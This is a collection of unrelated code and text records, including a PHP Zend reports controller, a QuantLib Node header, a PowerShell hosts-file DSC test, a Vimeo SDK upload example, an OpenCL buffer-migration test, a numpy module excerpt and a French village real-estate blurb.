text:
<?php
namespace Fitness\Controller;

use Zend\Mvc\Controller\AbstractActionController;
use Zend\View\Model\ViewModel;
use Zend\Db\ResultSet\ResultSet;
use Zend\Db\Adapter\Adapter;
use Zend\Db\Sql\Sql;

use Zend\Form\Element; //principal**
use Zend\Form\Form;//principal**
use Zend\Form\Factory;//principal

use Fitness\Model\Entity\Cuenta;
use Fitness\Model\Entity\Sucursal;
use Fitness\Model\Entity\Personal;
use Fitness\Model\Entity\Freezing;
use Fitness\Model\Entity\Empresa;
use Fitness\Model\Entity\Servicio;
use Fitness\Model\Entity\Plan;

use Fitness\Model\SucursalTabla;
use Fitness\Model\PersonalTabla;
use Fitness\Model\CuentaTabla;
use Fitness\Model\FreezingTabla;
use Fitness\Model\EmpresaTabla;
use Fitness\Model\ServicioTabla;
use Fitness\Model\PlanTabla;

use Fitness\Model\Entity\Socio;
use Fitness\Model\SocioTabla;

use Fitness\Form\frmRepPlan;
class ReportesController extends AbstractActionController
{
	public $dbAdapter;
	public function indexAction()
	{
		$var		=	array(
				"titulo"		=>	"Registro de Sucursal",
			);
		$view = new ViewModel($var);
		$this->layout('layout/menu');
		return $view;
	}
	public function replanAction()
	{
		$this->dbAdapter=$this->getServiceLocator()->get('Zend\Db\Adapter');
		$tablaServ  =   new ServicioTabla($this->dbAdapter);
		$listaServ 	=   $tablaServ->listaServicio();
		// $repServ   	=   $tablaServ->resumenServicio();
		$frmPlan	=	new frmRepPlan('frmPlan');
		$frmPlan->get("cmbServicio")->setValueOptions($listaServ);
		$var		=	array(
				"titulo"		=>	"Registro de Sucursal",
				"frmPlan"	=>	$frmPlan
			);
		$view = new ViewModel($var);
		$this->layout('layout/reportes');
		return $view;
	}
	public function resumenservAction()
	{
		$this->dbAdapter=$this->getServiceLocator()->get('Zend\Db\Adapter');
		$request 	= 	$this->getRequest();
		$response 	=	$this->getResponse();
		$frm 		= 	$request->getPost();
		$id			=	$frm['cmbServicio'];
		$tablaServ  =   new ServicioTabla($this->dbAdapter);
		$repServ   	=   $tablaServ->resumenServicio($id);
		$repServ	=	\Zend\Json\Json::encode($repServ);
		$response->setContent(\Zend\Json\Json::prettyPrint($repServ,array("indent" => " ")));
		return $response;
	}
}


text:
#ifndef defaulttermstructures_h
#define defaulttermstructures_h
#include <nan.h>
#include <string>
#include <queue>
#include <utility>

#include "../quantlibnode.hpp"

#include <oh/objecthandler.hpp>

using namespace node;
using namespace v8;
using namespace std;

class RelinkableHandleDefaultProbabilityTermStructureWorker : public Nan::AsyncWorker {
  public:
    string mObjectID;
    string mCurrentLink;

    string mReturnValue;

    string mError;

    RelinkableHandleDefaultProbabilityTermStructureWorker(
      Nan::Callback *callback
      ,string ObjectID
      ,string CurrentLink
    ):
      Nan::AsyncWorker(callback)
      ,mObjectID(ObjectID)
      ,mCurrentLink(CurrentLink)
      {

      };

    //~RelinkableHandleDefaultProbabilityTermStructureWorker();

    //void Destroy();

    void Execute();

    void HandleOKCallback();

};

class FlatHazardRateWorker : public Nan::AsyncWorker {
  public:
    string mObjectID;
    long mNDays;
    string mCalendar;
    ObjectHandler::property_t mRate;
    string mDayCounter;

    string mReturnValue;

    string mError;

    FlatHazardRateWorker(
      Nan::Callback *callback
      ,string ObjectID
      ,long NDays
      ,string Calendar
      ,ObjectHandler::property_t Rate
      ,string DayCounter
    ):
      Nan::AsyncWorker(callback)
      ,mObjectID(ObjectID)
      ,mNDays(NDays)
      ,mCalendar(Calendar)
      ,mRate(Rate)
      ,mDayCounter(DayCounter)
      {

      };

    //~FlatHazardRateWorker();

    //void Destroy();

    void Execute();

    void HandleOKCallback();

};

class DefaultTSDefaultProbabilityWorker : public Nan::AsyncWorker {
  public:
    string mObjectID;
    std::vector<ObjectHandler::property_t> mDates;
    bool mAllowExtrapolation;

    std::vector<double> mReturnValue;

    string mError;

    DefaultTSDefaultProbabilityWorker(
      Nan::Callback *callback
      ,string ObjectID
      ,std::vector<ObjectHandler::property_t> Dates
      ,bool AllowExtrapolation
    ):
      Nan::AsyncWorker(callback)
      ,mObjectID(ObjectID)
      ,mDates(Dates)
      ,mAllowExtrapolation(AllowExtrapolation)
      {

      };

    //~DefaultTSDefaultProbabilityWorker();

    //void Destroy();

    void Execute();

    void HandleOKCallback();

};

class ProbabilityToHRWorker : public Nan::AsyncWorker {
  public:
    double mProbability;
    ObjectHandler::property_t mDate;
    string mDayCounter;

    double mReturnValue;

    string mError;

    ProbabilityToHRWorker(
      Nan::Callback *callback
      ,double Probability
      ,ObjectHandler::property_t Date
      ,string DayCounter
    ):
      Nan::AsyncWorker(callback)
      ,mProbability(Probability)
      ,mDate(Date)
      ,mDayCounter(DayCounter)
      {

      };

    //~ProbabilityToHRWorker();

    //void Destroy();

    void Execute();

    void HandleOKCallback();

};

#endif

redpajama_set_name: RedPajamaGithub


text:
"""
nestly is a collection of functions designed to make running software with
combinatorial choices of parameters easier.
"""

__version__ = '0.6.1'

from .core import Nest, nest_map, stripext


text:
$script:dscModuleName = 'NetworkingDsc'
$script:dscResourceName = 'DSC_HostsFile'

try
{
    Import-Module -Name DscResource.Test -Force -ErrorAction 'Stop'
}
catch [System.IO.FileNotFoundException]
{
    throw 'DscResource.Test module dependency not found. Please run ".\build.ps1 -Tasks build" first.'
}

$script:testEnvironment = Initialize-TestEnvironment `
    -DSCModuleName $script:dscModuleName `
    -DSCResourceName $script:dscResourceName `
    -ResourceType 'Mof' `
    -TestType 'Integration'

Import-Module -Name (Join-Path -Path $PSScriptRoot -ChildPath '..\TestHelpers\CommonTestHelper.psm1')

# Begin Testing
try
{
    Describe 'HostsFile Integration Tests' {
        Copy-Item -Path "${env:SystemRoot}\System32\Drivers\Etc\Hosts" -Destination "${env:Temp}\Hosts" -Force

        Describe "$($script:dscResourceName)_Integration - Add Single Line" {
            $configData = @{
                AllNodes = @(
                    @{
                        NodeName  = 'localhost'
                        HostName  = 'Host01'
                        IPAddress = '192.168.0.1'
                        Ensure    = 'Present'
                    }
                )
            }

            $configFile = Join-Path -Path $PSScriptRoot -ChildPath "$($script:dscResourceName).config.ps1"
            . $configFile -Verbose -ErrorAction Stop

            It 'Should compile and apply the MOF without throwing' {
                {
                    & "$($script:dscResourceName)_Config" `
                        -OutputPath $TestDrive `
                        -ConfigurationData $configData
                    Start-DscConfiguration `
                        -Path $TestDrive -ComputerName localhost -Wait -Verbose -Force
                } | Should -Not -Throw
            }

            It 'Should be able to call Get-DscConfiguration without throwing' {
                { Get-DscConfiguration -Verbose -ErrorAction Stop } | Should -Not -Throw
            }

            It 'Should have set the resource and all the parameters should match' {
                $result = Get-DscConfiguration | Where-Object -FilterScript {
                    $_.ConfigurationName -eq "$($script:dscResourceName)_Config"
                }
                $result.Ensure                 | Should -Be $configData.AllNodes[0].Ensure
                $result.HostName               | Should -Be $configData.AllNodes[0].HostName
                $result.IPAddress              | Should -Be $configData.AllNodes[0].IPAddress
            }
        }

        Describe "$($script:dscResourceName)_Integration - Add Multiple Line" {
            $configData = @{
                AllNodes = @(
                    @{
                        NodeName  = 'localhost'
                        HostName  = 'Host01'
                        IPAddress = '192.168.0.2'
                        Ensure    = 'Present'
                    }
                )
            }

            $configFile = Join-Path -Path $PSScriptRoot -ChildPath "$($script:dscResourceName).config.ps1"
            . $configFile -Verbose -ErrorAction Stop

            It 'Should compile and apply the MOF without throwing' {
                {
                    & "$($script:dscResourceName)_Config" `
                        -OutputPath $TestDrive `
                        -ConfigurationData $configData
                    Start-DscConfiguration `
                        -Path $TestDrive -ComputerName localhost -Wait -Verbose -Force
                } | Should -Not -Throw
            }

            It 'Should be able to call Get-DscConfiguration without throwing' {
                { Get-DscConfiguration -Verbose -ErrorAction Stop } | Should -Not -Throw
            }

            It 'Should have set the resource and all the parameters should match' {
                $result = Get-DscConfiguration | Where-Object -FilterScript {
                    $_.ConfigurationName -eq "$($script:dscResourceName)_Config"
                }
                $result.Ensure                 | Should -Be $configData.AllNodes[0].Ensure
                $result.HostName               | Should -Be $configData.AllNodes[0].HostName
                $result.IPAddress              | Should -Be $configData.AllNodes[0].IPAddress
            }
        }

        Describe "$($script:dscResourceName)_Integration - Remove Single Line" {
            $configData = @{
                AllNodes = @(
                    @{
                        NodeName  = 'localhost'
                        HostName  = 'Host01'
                        IPAddress = '192.168.0.1'
                        Ensure    = 'Absent'
                    }
                )
            }

            $configFile = Join-Path -Path $PSScriptRoot -ChildPath "$($script:dscResourceName).config.ps1"
            . $configFile -Verbose -ErrorAction Stop

            It 'Should compile and apply the MOF without throwing' {
                {
                    & "$($script:dscResourceName)_Config" `
                        -OutputPath $TestDrive `
                        -ConfigurationData $configData
                    Start-DscConfiguration `
                        -Path $TestDrive -ComputerName localhost -Wait -Verbose -Force
                } | Should -Not -Throw
            }

            It 'Should be able to call Get-DscConfiguration without throwing' {
                { Get-DscConfiguration -Verbose -ErrorAction Stop } | Should -Not -Throw
            }

            It 'Should have set the resource and all the parameters should match' {
                $result = Get-DscConfiguration | Where-Object -FilterScript {
                    $_.ConfigurationName -eq "$($script:dscResourceName)_Config"
                }
                $result.Ensure                 | Should -Be $configData.AllNodes[0].Ensure
                $result.HostName               | Should -Be $configData.AllNodes[0].HostName
                $result.IPAddress              | Should -BeNullOrEmpty
            }
        }
    }
}
finally
{
    # Restore unmodified hosts file
    Copy-Item "${env:Temp}\Hosts" "${env:SystemRoot}\System32\Drivers\Etc\Hosts" -Force

    Restore-TestEnvironment -TestEnvironment $script:testEnvironment
}


text:
  Tresserre est
       un village
       géographiquement positionné dans le département des Pyrénées-Orientales en Languedoc-Roussillon. On dénombrait 742 habitants en 2008.

Le nombre de logements, à Tresserre, se décomposait en 2011 en 52 appartements et 377 maisons soit
 un marché plutôt équilibré.

La ville propose quelques  équipements, elle propose entre autres un terrain de tennis.

Si vous pensez demenager à Tresserre, vous pourrez facilement trouver une maison à vendre.

À Tresserre, la valeur moyenne à l'achat d'un appartement se situe à zero € du m² en vente. La valeur moyenne d'une maison à l'achat se situe à 2 099 € du m². À la location la valeur moyenne se situe à 9,28 € du m² par mois.

À coté de Tresserre sont positionnées géographiquement les villes de
Vivès à 6 km, 159 habitants,
Trouillas localisée à 5 km, 1 538 habitants,
Le Boulou à 4 km, 5 066 habitants,
Terrats située à 6 km, 605 habitants,
Villemolaque à 2 km, 1 124 habitants,
Saint-Jean-Lasseille à 3 km, 631 habitants,
 entre autres. De plus, Tresserre est située à seulement 16 km de Perpignan.


text:
'use strict'

var Vimeo = require('../index').Vimeo

try {
  var config = require('./config.json')
} catch (error) {
  console.error('ERROR: For this example to run properly you must create an API app at ' +
    'https://developer.vimeo.com/apps/new and set your callback url to ' +
    '`http://localhost:8080/oauth_callback`.')
  console.error('ERROR: Once you have your app, make a copy of `config.json.example` named ' +
    '`config.json` and add your client ID, client secret and access token.')
  process.exit()
}

if (!config.access_token) {
  throw new Error('You can not upload a video without configuring an access token.')
}

// Instantiate the library with your client id, secret and access token (pulled from dev site)
var client = new Vimeo(config.client_id, config.client_secret, config.access_token)

// Create a variable with a hard coded path to your file system
var filePath = '<full path to a video on the filesystem>'

console.log('Uploading: ' + filePath)

var params = {
  'name': 'Vimeo API SDK test upload',
  'description': "This video was uploaded through the Vimeo API's NodeJS SDK."
}

client.upload(
  filePath,
  params,
  function (uri) {
    // Get the metadata response from the upload and log out the Vimeo.com url
    client.request(uri + '?fields=link', function (error, body, statusCode, headers) {
      if (error) {
        console.log('There was an error making the request.')
        console.log('Server reported: ' + error)
        return
      }

      console.log('"' + filePath + '" has been uploaded to ' + body.link)

      // Make an API call to edit the title and description of the video.
      client.request({
        method: 'PATCH',
        path: uri,
        params: {
          'name': 'Vimeo API SDK test edit',
          'description': "This video was edited through the Vimeo API's NodeJS SDK."
        }
      }, function (error, body, statusCode, headers) {
        if (error) {
          console.log('There was an error making the request.')
          console.log('Server reported: ' + error)
          return
        }

        console.log('The title and description for ' + uri + ' has been edited.')

        // Make an API call to see if the video is finished transcoding.
        client.request(
          uri + '?fields=transcode.status',
          function (error, body, statusCode, headers) {
            if (error) {
              console.log('There was an error making the request.')
              console.log('Server reported: ' + error)
              return
            }

            console.log('The transcode status for ' + uri + ' is: ' + body.transcode.status)
          }
        )
      })
    })
  },
  function (bytesUploaded, bytesTotal) {
    var percentage = (bytesUploaded / bytesTotal * 100).toFixed(2)
    console.log(bytesUploaded, bytesTotal, percentage + '%')
  },
  function (error) {
    console.log('Failed because: ' + error)
  }
)


text:
//
// Copyright (c) 2017 The Khronos Group Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//    http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#include <stdio.h>
#include <stdlib.h>

#include "procs.h"
#include "harness/errorHelpers.h"
#include "harness/testHarness.h"

#define MAX_SUB_DEVICES        16        // Limit the sub-devices to ensure no out of resource errors.
#define BUFFER_SIZE        1024

// Kernel source code
static const char *buffer_migrate_kernel_code =
"__kernel void test_buffer_migrate(__global uint *dst, __global uint *src1, __global uint *src2, uint x)\n"
"{\n"
"  int tid = get_global_id(0);\n"
"  dst[tid] = src1[tid] ^ src2[tid] ^ x;\n"
"}\n";

enum migrations { MIGRATE_PREFERRED,         // migrate to the preferred sub-device
  MIGRATE_NON_PREFERRED,     // migrate to a randomly chosen non-preferred sub-device
  MIGRATE_RANDOM,        // migrate to a randomly chosen sub-device with randomly chosen flags
  NUMBER_OF_MIGRATIONS };

static cl_mem init_buffer(cl_command_queue cmd_q, cl_mem buffer, cl_uint *data)
{
  cl_int err;

  if (buffer) {
    if ((err = clEnqueueWriteBuffer(cmd_q, buffer, CL_TRUE, 0, sizeof(cl_uint)*BUFFER_SIZE, data, 0, NULL, NULL)) != CL_SUCCESS) {
      print_error(err, "Failed on enqueue write of buffer data.");
    }
  }
  return buffer;
}

static cl_int migrateMemObject(enum migrations migrate, cl_command_queue *queues, cl_mem *mem_objects, cl_uint num_devices, cl_mem_migration_flags *flags, MTdata d)
{
  cl_uint i, j;
  cl_int  err = CL_SUCCESS;

  for (i=0; i<num_devices; i++) {
    j = genrand_int32(d) % num_devices;
    flags[i] = 0;
    switch (migrate) {
      case MIGRATE_PREFERRED:
        // Force the device to be preferred
        j = i;
        break;
      case MIGRATE_NON_PREFERRED:
        // Coerce the device to be non-preferred
        if ((j == i) && (num_devices > 1)) j = (j+1) % num_devices;
        break;
      case MIGRATE_RANDOM:
        // Choose a random set of flags
        flags[i] = (cl_mem_migration_flags)(genrand_int32(d) & (CL_MIGRATE_MEM_OBJECT_HOST | CL_MIGRATE_MEM_OBJECT_CONTENT_UNDEFINED));;
        break;
      default: log_error("Unhandled migration type: %d\n", migrate); return -1;
    }
    if ((err = clEnqueueMigrateMemObjects(queues[j], 1, (const cl_mem *)(&mem_objects[i]), flags[i], 0, NULL, NULL)) != CL_SUCCESS) {
      print_error(err, "Failed migrating memory object.");
    }
  }
  return err;
}

static cl_int restoreBuffer(cl_command_queue *queues, cl_mem *buffers, cl_uint num_devices, cl_mem_migration_flags *flags, cl_uint *buffer)
{
  cl_uint i;
  cl_int  err;

  // If the buffer was previously migrated with undefined content, reload the content.

  for (i=0; i<num_devices; i++) {
    if (flags[i] & CL_MIGRATE_MEM_OBJECT_CONTENT_UNDEFINED) {
      if ((err = clEnqueueWriteBuffer(queues[i], buffers[i], CL_TRUE, 0, sizeof(cl_uint)*BUFFER_SIZE, buffer, 0, NULL, NULL)) != CL_SUCCESS) {
        print_error(err, "Failed on restoration enqueue write of buffer data.");
        return err;
      }
    }
  }
  return CL_SUCCESS;
}

int test_buffer_migrate(cl_device_id deviceID, cl_context context, cl_command_queue queue, int num_elements)
{
  int failed = 0;
  cl_uint i, j;
  cl_int err;
  cl_uint max_sub_devices = 0;
  cl_uint num_devices, num_devices_limited;
  cl_uint A[BUFFER_SIZE], B[BUFFER_SIZE], C[BUFFER_SIZE];
  cl_uint test_number = 1;
  cl_device_affinity_domain domain, domains;
  cl_device_id *devices;
  cl_command_queue *queues;
  cl_mem_migration_flags *flagsA, *flagsB, *flagsC;
  cl_device_partition_property property[] = {CL_DEVICE_PARTITION_BY_AFFINITY_DOMAIN, 0, 0};
  cl_mem *bufferA, *bufferB, *bufferC;
  cl_program program = NULL;
  cl_kernel kernel = NULL;
  cl_context ctx = NULL;    // context for all sub-devices
  enum migrations migrateA, migrateB, migrateC;
  MTdata d = init_genrand(gRandomSeed);
  const size_t wgs[1] = {BUFFER_SIZE};

  /* Allocate arrays whose size varies according to the maximum number of sub-devices */
  if ((err = clGetDeviceInfo(deviceID, CL_DEVICE_MAX_COMPUTE_UNITS, sizeof(max_sub_devices), &max_sub_devices, NULL)) != CL_SUCCESS) {
    print_error(err, "clGetDeviceInfo(CL_DEVICE_MAX_COMPUTE_UNITS) failed");
    return -1;
  }
  if (max_sub_devices < 1) {
    log_error("ERROR: Invalid number of compute units returned.\n");
    return -1;
  }
  devices = (cl_device_id *)malloc(max_sub_devices * sizeof(cl_device_id));
  queues = (cl_command_queue *)malloc(max_sub_devices * sizeof(cl_command_queue));
  flagsA = (cl_mem_migration_flags *)malloc(max_sub_devices * sizeof(cl_mem_migration_flags));
  flagsB = (cl_mem_migration_flags *)malloc(max_sub_devices * sizeof(cl_mem_migration_flags));
  flagsC = (cl_mem_migration_flags *)malloc(max_sub_devices * sizeof(cl_mem_migration_flags));
  bufferA = (cl_mem *)malloc(max_sub_devices * sizeof(cl_mem));
  bufferB = (cl_mem *)malloc(max_sub_devices * sizeof(cl_mem));
  bufferC = (cl_mem *)malloc(max_sub_devices * sizeof(cl_mem));

  if ((devices == NULL) || (queues  == NULL) ||
      (flagsA  == NULL) || (flagsB  == NULL) || (flagsC  == NULL) ||
      (bufferA == NULL) || (bufferB == NULL) || (bufferC == NULL)) {
    log_error("ERROR: Failed to successfully allocate required local buffers.\n");
    failed = -1;
    goto cleanup_allocations;
  }

  for (i=0; i<max_sub_devices; i++) {
    devices[i] = NULL;
    queues [i] = NULL;
    bufferA[i] = bufferB[i] = bufferC[i] = NULL;
  }

  for (i=0; i<BUFFER_SIZE; i++) {
    A[i] = genrand_int32(d);
    B[i] = genrand_int32(d);
  }

  // Attempt to partition the device along each of the allowed affinity domain.
  if ((err = clGetDeviceInfo(deviceID, CL_DEVICE_PARTITION_AFFINITY_DOMAIN, sizeof(domains), &domains, NULL)) != CL_SUCCESS) {
    print_error(err, "clGetDeviceInfo(CL_PARTITION_AFFINITY_DOMAIN) failed");
    return -1;
  }

  domains &= (CL_DEVICE_AFFINITY_DOMAIN_L4_CACHE | CL_DEVICE_AFFINITY_DOMAIN_L3_CACHE |
              CL_DEVICE_AFFINITY_DOMAIN_L2_CACHE | CL_DEVICE_AFFINITY_DOMAIN_L1_CACHE | CL_DEVICE_AFFINITY_DOMAIN_NUMA);

  do {
    if (domains) {
      for (domain = 1; (domain & domains) == 0; domain <<= 1) {};
      domains &= ~domain;
    } else {
      domain = 0;
    }

    // Determine the number of partitions for the device given the specific domain.
    if (domain) {
      property[1] = domain;
      err = clCreateSubDevices(deviceID, (const cl_device_partition_property *)property, -1, NULL, &num_devices);
      if ((err != CL_SUCCESS) || (num_devices == 0)) {
        print_error(err, "Obtaining the number of partions by affinity failed.");
        failed = 1;
        goto cleanup;
      }
    } else {
      num_devices = 1;
    }

    if (num_devices > 1) {
      // Create each of the sub-devices and a corresponding context.
      if ((err = clCreateSubDevices(deviceID, (const cl_device_partition_property *)property, num_devices, devices, &num_devices)) != CL_SUCCESS) {
        print_error(err, "Failed creating sub devices.");
        failed = 1;
        goto cleanup;
      }

      // Create a context containing all the sub-devices
      ctx = clCreateContext(NULL, num_devices, devices, notify_callback, NULL, &err);
      if (ctx == NULL) {
    print_error(err, "Failed creating context containing the sub-devices.");
    failed = 1;
    goto cleanup;
      }

      // Create a command queue for each sub-device
      for (i=0; i<num_devices; i++) {
        if (devices[i]) {
          if ((queues[i] = clCreateCommandQueue(ctx, devices[i], 0, &err)) == NULL) {
            print_error(err, "Failed creating command queues.");
            failed = 1;
            goto cleanup;
          }
        }
      }
    } else {
      // No partitioning available. Just exercise the APIs on a single device.
      devices[0] = deviceID;
      queues[0] = queue;
      ctx = context;
    }

    // Build the kernel program.
    if ((err = create_single_kernel_helper(ctx, &program, &kernel, 1,
                                           &buffer_migrate_kernel_code,
                                           "test_buffer_migrate")))
    {
        print_error(err, "Failed creating kernel.");
        failed = 1;
        goto cleanup;
    }

    num_devices_limited = num_devices;

    // Allocate memory buffers. 3 buffers (2 input, 1 output) for each sub-device.
    // If we run out of memory, then restrict the number of sub-devices to be tested.
    for (i=0; i<num_devices; i++) {
      bufferA[i] = init_buffer(queues[i], clCreateBuffer(ctx, (CL_MEM_READ_ONLY  | CL_MEM_ALLOC_HOST_PTR), sizeof(cl_uint) * BUFFER_SIZE, NULL, &err), A);
      bufferB[i] = init_buffer(queues[i], clCreateBuffer(ctx, (CL_MEM_READ_ONLY  | CL_MEM_ALLOC_HOST_PTR), sizeof(cl_uint) * BUFFER_SIZE, NULL, &err), B);
      bufferC[i] = clCreateBuffer(ctx, (CL_MEM_WRITE_ONLY | CL_MEM_ALLOC_HOST_PTR), sizeof(cl_uint) * BUFFER_SIZE, NULL, &err);

      if ((bufferA[i] == NULL) || (bufferB[i] == NULL) || (bufferC[i] == NULL)) {
        if (i == 0) {
          log_error("Failed to allocate even 1 set of buffers.\n");
          failed = 1;
          goto cleanup;
        }
        num_devices_limited = i;
        break;
      }
    }

    // For each partition, we will execute the test kernel with each of the 3 buffers migrated to one of the migrate options
    for (migrateA=(enum migrations)(0); migrateA<NUMBER_OF_MIGRATIONS; migrateA = (enum migrations)((int)migrateA + 1)) {
      if (migrateMemObject(migrateA, queues, bufferA, num_devices_limited, flagsA, d) != CL_SUCCESS) {
        failed = 1;
        goto cleanup;
      }
      for (migrateC=(enum migrations)(0); migrateC<NUMBER_OF_MIGRATIONS; migrateC = (enum migrations)((int)migrateC + 1)) {
        if (migrateMemObject(migrateC, queues, bufferC, num_devices_limited, flagsC, d) != CL_SUCCESS) {
          failed = 1;
          goto cleanup;
        }
        for (migrateB=(enum migrations)(0); migrateB<NUMBER_OF_MIGRATIONS; migrateB = (enum migrations)((int)migrateB + 1)) {
          if (migrateMemObject(migrateB, queues, bufferB, num_devices_limited, flagsB, d) != CL_SUCCESS) {
            failed = 1;
            goto cleanup;
          }
          // Run the test on each of the partitions.
          for (i=0; i<num_devices_limited; i++) {
            cl_uint x;

            x = i + test_number;

            if ((err = clSetKernelArg(kernel, 0, sizeof(cl_mem), (const void *)&bufferC[i])) != CL_SUCCESS) {
              print_error(err, "Failed set kernel argument 0.");
              failed = 1;
              goto cleanup;
            }

            if ((err = clSetKernelArg(kernel, 1, sizeof(cl_mem), (const void *)&bufferA[i])) != CL_SUCCESS) {
              print_error(err, "Failed set kernel argument 1.");
              failed = 1;
              goto cleanup;
            }

            if ((err = clSetKernelArg(kernel, 2, sizeof(cl_mem), (const void *)&bufferB[i])) != CL_SUCCESS) {
              print_error(err, "Failed set kernel argument 2.");
              failed = 1;
              goto cleanup;
            }

            if ((err = clSetKernelArg(kernel, 3, sizeof(cl_uint), (const void *)&x)) != CL_SUCCESS) {
              print_error(err, "Failed set kernel argument 3.");
              failed = 1;
              goto cleanup;
            }

            if ((err = clEnqueueNDRangeKernel(queues[i], kernel, 1, NULL, wgs, NULL, 0, NULL, NULL)) != CL_SUCCESS) {
                print_error(err, "Failed enqueuing the NDRange kernel.");
                failed = 1;
                goto cleanup;
            }
          }
          // Verify the results as long as neither input is an undefined migration
          for (i=0; i<num_devices_limited; i++, test_number++) {
            if (((flagsA[i] | flagsB[i]) & CL_MIGRATE_MEM_OBJECT_CONTENT_UNDEFINED) == 0) {
              if ((err = clEnqueueReadBuffer(queues[i], bufferC[i], CL_TRUE, 0, sizeof(cl_uint)*BUFFER_SIZE, C, 0, NULL, NULL)) != CL_SUCCESS) {
                print_error(err, "Failed reading output buffer.");
                failed = 1;
                goto cleanup;
              }
              for (j=0; j<BUFFER_SIZE; j++) {
                cl_uint expected;

                expected = A[j] ^ B[j] ^ test_number;
                if (C[j] != expected) {
                  log_error("Failed on device %d,  work item %4d,  expected 0x%08x got 0x%08x (0x%08x ^ 0x%08x ^ 0x%08x)\n", i, j, expected, C[j], A[j], B[j], test_number);
                  failed = 1;
                }
              }
              if (failed) goto cleanup;
            }
          }

          if (restoreBuffer(queues, bufferB, num_devices_limited, flagsB, B) != CL_SUCCESS) {
            failed = 1;
            goto cleanup;
          }
        }
      }
      if (restoreBuffer(queues, bufferA, num_devices_limited, flagsA, A) != CL_SUCCESS) {
        failed = 1;
        goto cleanup;
      }
    }

  cleanup:
    // Clean up all the allocted resources create by the test. This includes sub-devices,
    // command queues, and memory buffers.

    for (i=0; i<max_sub_devices; i++) {
      // Memory buffer cleanup
      if (bufferA[i]) {
        if ((err = clReleaseMemObject(bufferA[i])) != CL_SUCCESS) {
          print_error(err, "Failed releasing memory object.");
          failed = 1;
        }
      }
      if (bufferB[i]) {
        if ((err = clReleaseMemObject(bufferB[i])) != CL_SUCCESS) {
          print_error(err, "Failed releasing memory object.");
          failed = 1;
        }
      }
      if (bufferC[i]) {
        if ((err = clReleaseMemObject(bufferC[i])) != CL_SUCCESS) {
          print_error(err, "Failed releasing memory object.");
          failed = 1;
        }
      }

      if (num_devices > 1) {
        // Command queue cleanup
        if (queues[i]) {
          if ((err = clReleaseCommandQueue(queues[i])) != CL_SUCCESS) {
            print_error(err, "Failed releasing command queue.");
            failed = 1;
          }
        }

        // Sub-device cleanup
        if (devices[i]) {
          if ((err = clReleaseDevice(devices[i])) != CL_SUCCESS) {
            print_error(err, "Failed releasing sub device.");
            failed = 1;
          }
        }
        devices[i] = 0;
      }
    }

    // Context, program, and kernel cleanup
    if (program) {
      if ((err = clReleaseProgram(program)) != CL_SUCCESS) {
    print_error(err, "Failed releasing program.");
    failed = 1;
      }
      program = NULL;
    }

    if (kernel) {
      if ((err = clReleaseKernel(kernel)) != CL_SUCCESS) {
    print_error(err, "Failed releasing kernel.");
    failed = 1;
      }
      kernel = NULL;
    }

    if (ctx && (ctx != context)) {
      if ((err = clReleaseContext(ctx)) != CL_SUCCESS) {
    print_error(err, "Failed releasing context.");
    failed = 1;
      }
    }
    ctx = NULL;

    if (failed) goto cleanup_allocations;
  } while (domains);

cleanup_allocations:
  if (devices) free(devices);
  if (queues)  free(queues);
  if (flagsA)  free(flagsA);
  if (flagsB)  free(flagsB);
  if (flagsC)  free(flagsC);
  if (bufferA) free(bufferA);
  if (bufferB) free(bufferB);
  if (bufferC) free(bufferC);

  return ((failed) ? -1 : 0);
}


text:
"""
numerictypes: Define the numeric type objects

This module is designed so "from numerictypes import \\*" is safe.
Exported symbols include:

  Dictionary with all registered number types (including aliases):
    typeDict

  Type objects (not all will be available, depends on platform):
      see variable sctypes for which ones you have

    Bit-width names

    int8 int16 int32 int64 int128
    uint8 uint16 uint32 uint64 uint128
    float16 float32 float64 float96 float128 float256
    complex32 complex64 complex128 complex192 complex256 complex512
    datetime64 timedelta64

    c-based names

    bool_

    object_

    void, str_, unicode_

    byte, ubyte,
    short, ushort
    intc, uintc,
    intp, uintp,
    int_, uint,
    longlong, ulonglong,

    single, csingle,
    float_, complex_,
    longfloat, clongfloat,

   As part of the type-hierarchy:    xx -- is bit-width

   generic
     +-> bool_                                  (kind=b)
     +-> number
     |   +-> integer
     |   |   +-> signedinteger     (intxx)      (kind=i)
     |   |   |     byte
     |   |   |     short
     |   |   |     intc
     |   |   |     intp            int0
     |   |   |     int_
     |   |   |     longlong
     |   |   \\-> unsignedinteger  (uintxx)     (kind=u)
     |   |         ubyte
     |   |         ushort
     |   |         uintc
     |   |         uintp           uint0
     |   |         uint_
     |   |         ulonglong
     |   +-> inexact
     |       +-> floating          (floatxx)    (kind=f)
     |       |     half
     |       |     single
     |       |     float_          (double)
     |       |     longfloat
     |       \\-> complexfloating  (complexxx)  (kind=c)
     |             csingle         (singlecomplex)
     |             complex_        (cfloat, cdouble)
     |             clongfloat      (longcomplex)
     +-> flexible
     |   +-> character
     |   |     str_     (string_, bytes_)       (kind=S)    [Python 2]
     |   |     unicode_                         (kind=U)    [Python 2]
     |   |
     |   |     bytes_   (string_)               (kind=S)    [Python 3]
     |   |     str_     (unicode_)              (kind=U)    [Python 3]
     |   |
     |   \\-> void                              (kind=V)
     \\-> object_ (not used much)               (kind=O)

"""
from __future__ import division, absolute_import, print_function

import types as _types
import sys
import numbers
import warnings

from numpy.compat import bytes, long
from numpy.core.multiarray import (
        typeinfo, ndarray, array, empty, dtype, datetime_data,
        datetime_as_string, busday_offset, busday_count, is_busday,
        busdaycalendar
        )
from numpy.core.overrides import set_module

# we add more at the bottom
__all__ = ['sctypeDict', 'sctypeNA', 'typeDict', 'typeNA', 'sctypes',
           'ScalarType', 'obj2sctype', 'cast', 'nbytes', 'sctype2char',
           'maximum_sctype', 'issctype', 'typecodes', 'find_common_type',
           'issubdtype', 'datetime_data', 'datetime_as_string',
           'busday_offset', 'busday_count', 'is_busday', 'busdaycalendar',
           ]

# we don't need all these imports, but we need to keep them for compatibility
# for users using np.core.numerictypes.UPPER_TABLE
from ._string_helpers import (
    english_lower, english_upper, english_capitalize, LOWER_TABLE, UPPER_TABLE
)

from ._type_aliases import (
    sctypeDict,
    sctypeNA,
    allTypes,
    bitname,
    sctypes,
    _concrete_types,
    _concrete_typeinfo,
    _bits_of,
)
from ._dtype import _kind_name

# we don't export these for import *, but we do want them accessible
